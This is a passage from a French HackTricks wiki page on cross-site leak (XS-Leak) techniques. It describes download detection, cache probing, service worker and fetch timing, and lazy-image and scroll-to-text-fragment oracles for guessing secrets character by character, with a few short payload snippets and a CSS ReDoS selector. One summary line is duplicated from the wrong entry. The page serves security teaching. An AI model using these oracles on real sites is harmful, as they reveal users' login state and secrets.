* **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Dans Chrome, si une page avec l'en-tête `X-Frame-Options` défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaît. Chrome retourne de manière unique un objet document vide (au lieu de `null`) pour la propriété `contentDocument` de cet objet, contrairement aux iframes ou à d'autres navigateurs. Les attaquants pourraient exploiter cela en détectant le document vide, révélant potentiellement des informations sur l'état de l'utilisateur, surtout si les développeurs définissent de manière incohérente l'en-tête X-Frame-Options, négligeant souvent les pages d'erreur. La sensibilisation et l'application cohérente des en-têtes de sécurité sont cruciales pour prévenir de telles fuites.

### Download Detection

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Summary:** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

L'en-tête `Content-Disposition`, spécifiquement `Content-Disposition: attachment`, indique au navigateur de télécharger le contenu plutôt que de l'afficher en ligne. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe quelques techniques pour détecter ce comportement de téléchargement :

1. **Surveillance de la barre de téléchargement** :
* Lorsqu'un fichier est téléchargé dans les navigateurs basés sur Chromium, une barre de téléchargement apparaît en bas de la fenêtre du navigateur.
* En surveillant les changements de la hauteur de la fenêtre, les attaquants peuvent déduire l'apparition de la barre de téléchargement, suggérant qu'un téléchargement a été initié.
2. **Navigation de téléchargement avec des iframes** :
* Lorsqu'une page déclenche un téléchargement de fichier en utilisant l'en-tête `Content-Disposition: attachment`, cela ne provoque pas un événement de navigation.
* En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.
3. **Navigation de téléchargement sans iframes** :
* Semblable à la technique iframe, cette méthode implique d'utiliser `window.open` au lieu d'une iframe.
* Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement de fichier a été déclenché (pas de navigation) ou si le contenu est affiché en ligne (la navigation se produit).

Dans les scénarios où seuls les utilisateurs connectés peuvent déclencher de tels téléchargements, ces techniques peuvent être utilisées pour déduire indirectement l'état d'authentification de l'utilisateur en fonction de la réponse du navigateur à la demande de téléchargement.

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
C'est pourquoi cette technique est intéressante : Chrome a maintenant **le partitionnement du cache**, et la clé de cache de la page nouvellement ouverte est : `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clé de cache est différente**, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : [Gagner en sécurité et en confidentialité en partitionnant le cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Commentaire de [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de cache** que si la ressource était directement **demandée par navigation de haut niveau**. Cela est dû au fait que la clé de cache est constituée de _eTLD+1_ de haut niveau et _eTLD+1_ de frame.

Parce qu'accéder au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été changée après l'arrêt, cela signifie que la ressource a été mise en cache.\
Ou pourrait simplement **envoyer quelques fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut**.

### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirects
* **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Summary:** Il est possible de découvrir si une réponse à une requête fetch est une redirection
* **Code Example**:

![](<../.gitbook/assets/image (652).png>)

### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Summary:** Il est possible d'essayer de charger une ressource et d'annuler avant qu'elle ne soit chargée. En fonction de si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

Utilisez _**fetch**_ et _**setTimeout**_ avec un **AbortController** pour détecter si la **ressource est mise en cache** et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.

### Script Pollution

* **Inclusion Methods**: HTML Elements (script)
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Summary:** Il est possible de **surcharger des fonctions intégrées** et de lire leurs arguments même depuis **un script cross-origin** (qui ne peut pas être lu directement), cela pourrait **divulguer des informations précieuses**.
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Service Workers <a href="#service-workers" id="service-workers"></a>

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Summary:** Mesurer le temps d'exécution d'un web en utilisant des service workers.
* **Code Example**:

Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un **service worker** dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au **service worker** de commencer un chronomètre. Lorsque la nouvelle fenêtre commence à se charger, l'attaquant navigue vers la référence obtenue dans l'étape précédente vers une page gérée par le **service worker**.

À l'arrivée de la requête initiée dans l'étape précédente, le **service worker** répond avec un code d'état **204 (No Content)**, terminant effectivement le processus de navigation. À ce stade, le **service worker** capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée du JavaScript causant des retards dans le processus de navigation.

{% hint style="warning" %}
Dans un timing d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
{% endhint %}

### Fetch Timing

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Summary:** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Cross-Window Timing

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Summary:** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête en utilisant `window.open`. D'autres horloges pourraient être utilisées.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés** au monde.\
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## With HTML or Re Injection

Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin **en injectant du contenu HTML**. Ces techniques sont intéressantes dans les cas où pour une raison quelconque vous pouvez **injecter du HTML mais vous ne pouvez pas injecter de code JS**.

### Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### Image Lazy Loading

Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de balisage pendantes courantes**.\
Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.

**Les images** en HTML ont un attribut "**loading**" dont la valeur peut être "**lazy**". Dans ce cas, l'image sera chargée lorsqu'elle sera vue et non pendant le chargement de la page :
```html
<img src=/something loading=lazy >
```
Donc, ce que vous pouvez faire est d'**ajouter beaucoup de caractères inutiles** (par exemple **des milliers de "W"**) pour **remplir la page web avant le secret ou ajouter quelque chose comme** `<br><canvas height="1850px"></canvas><br>.`\
Ensuite, si par exemple notre **injection apparaît avant le drapeau**, l'**image** serait **chargée**, mais si elle apparaît **après** le **drapeau**, le drapeau + les caractères inutiles **empêcheront son chargement** (vous devrez jouer avec la quantité de caractères inutiles à placer). C'est ce qui s'est passé dans [**ce rapport**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Une autre option serait d'utiliser le **scroll-to-text-fragment** si cela est autorisé :

#### Scroll-to-text-fragment

Cependant, vous faites en sorte que le **bot accède à la page** avec quelque chose comme
```
#:~:text=SECR
```
So la page web sera quelque chose comme : **`https://victim.com/post.html#:~:text=SECR`**

Où post.html contient les caractères indésirables de l'attaquant et une image à chargement paresseux, puis le secret du bot est ajouté.

Ce texte fera en sorte que le bot accède à tout texte sur la page contenant le texte `SECR`. Comme ce texte est le secret et qu'il est juste **en dessous de l'image**, l'**image ne se chargera que si le secret deviné est correct**. Vous avez donc votre oracle pour **exfiltrer le secret caractère par caractère**.

Un exemple de code pour exploiter cela : [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Chargement d'Image Paresseux Basé sur le Temps

S'il est **impossible de charger une image externe** qui pourrait indiquer à l'attaquant que l'image a été chargée, une autre option serait d'essayer de **deviner le caractère plusieurs fois et de mesurer cela**. Si l'image est chargée, toutes les requêtes prendraient plus de temps que si l'image n'est pas chargée. C'est ce qui a été utilisé dans la [**solution de ce rapport**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **résumée ici :**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

Si `jQuery(location.hash)` est utilisé, il est possible de découvrir via le timing **si un contenu HTML existe**, c'est parce que si le sélecteur `main[id='site-main']` ne correspond pas, il n'est pas nécessaire de vérifier le reste des **sélecteurs** :
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Injection CSS

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Défenses

Il existe des atténuations recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ainsi que dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez ces ressources pour plus d'informations sur la façon de se protéger contre ces techniques.

## Références

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Soutenir HackTricks</summary>

* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.

</details>
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}